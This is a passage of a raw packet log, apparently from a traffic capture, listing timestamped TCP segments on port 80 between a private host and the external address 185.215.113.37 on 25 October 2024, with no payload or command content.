Oct 25, 2024 07:28:12.409969091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.410032988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.440993071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.441016912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.441034079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.441051006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.441063881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.441093922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.441118956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.445710897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.445749998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.445781946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.445785999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.445797920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.445843935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.480407953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.480429888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.480443954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.480456114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.480470896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.480479002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.480516911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.480539083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.483004093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.483063936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.483108044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.483120918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.483144045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.483155966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.483156919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.483170033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.483182907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.483185053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.483185053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.483196020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.483218908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.483783007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.483795881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.483808041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.483812094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.483824015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.483844995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.483881950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.483895063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.483906984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.483922005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.483951092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.484642982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.484656096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.484668970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.484679937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.484687090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.484692097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.484714985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.484745026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.484745026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.484772921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.485450029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.485462904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.485475063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.485485077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.485506058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.485519886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.485543013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.558056116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.558069944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.558082104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.558362007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.562844992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.562872887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.562881947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.562892914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.562939882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.562977076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.597579956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.597598076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.597619057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.597630978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.597642899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.597687960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.597733974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.597850084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.597862959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.597875118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.597902060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.597919941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.600327969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.600338936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.600362062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.600374937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.600384951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.600385904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.600399017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.600410938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.600433111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.600456953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.600768089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.600817919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.600925922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.600936890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.600977898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.600986004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.600999117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.601013899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.601032019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.601059914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.601368904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.601421118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.601473093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.601485014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.601496935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.601509094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.601521015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.601522923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.601533890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.601555109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.601568937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.602281094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.602334023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.602392912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.602404118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.602447033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.602447033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.602458954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.602471113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.602494001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.602523088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.675224066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.675236940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.675246954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.675311089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.675359964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.680047989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.680059910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.680068970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.680103064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.680121899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.714751959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.714782000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.714845896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.714879990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.714914083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.714946985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.714947939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.714982986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.714987040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.714994907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.715022087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.715037107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.715086937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.717691898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.717722893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.717771053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.717791080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.717861891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.717890978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.717912912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.717938900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.717941999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.717978001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.717995882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.718010902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.718025923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.718064070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.718132973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.718168020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.718189955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.718202114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.718214035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.718251944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.718389988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.718425035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.718445063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.718460083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.718468904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.718494892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.718516111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.718548059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.718692064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.718746901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.718760967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.718808889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.718823910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.718858957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.718878984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.718890905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.718903065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.718926907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.718945026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.718971968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.719513893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.719547987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.719583035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.719588041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.719588041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.719615936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.719644070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.719651937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.719667912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.719705105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.761231899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.761265993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.761298895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.761400938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.792521000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.792538881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.792550087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.792613983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.792644024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.797281027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.797295094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.797307014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.797336102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.797362089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.831885099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.831897974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.831908941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.831970930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.832006931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.832017899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.832030058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.832043886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.832055092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.832056999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.832071066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.832081079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.832097054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.832123041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.842330933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.842411995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.842422009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.842457056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.842490911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.842525959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.842559099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.842592955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.842627048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.842632055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.842674971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.842730045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.842736006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.842789888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.842811108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.842847109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.842865944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.842880964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.842902899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.842914104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.842926979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.842950106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.842963934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.842983961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.842999935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.843019009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.843034983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.843065023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.843574047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.843630075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.843643904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.843697071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.843719959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.843772888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.843784094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.843817949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.843837976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.843852043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.843866110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.843887091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.843899012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.843921900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.843943119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.843970060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.878326893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.878390074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.878439903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.878451109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.878460884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.878482103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.878518105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.910160065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.910212994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.910577059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.910624027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.914616108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.914629936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.914642096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.914661884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.914680004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.949115992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.949142933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.949156046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.949182987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.949209929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.949296951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.949309111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.949321032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.949345112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.949350119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.949362993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.949373960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.949400902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.959688902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.959738016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.959757090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.959760904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.959775925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.959780931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.959789038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.959800959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.959817886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.959832907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.960004091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.960016966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.960035086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.960048914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.960052013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.960062981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.960078001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.960104942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.960472107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.960484982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.960495949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.960510015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.960522890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.960527897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.960541964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.960562944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.960573912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.960982084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.960994959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.961005926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.961013079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.961026907 CEST	49704	80	192.168.2.5	185.215.113.37
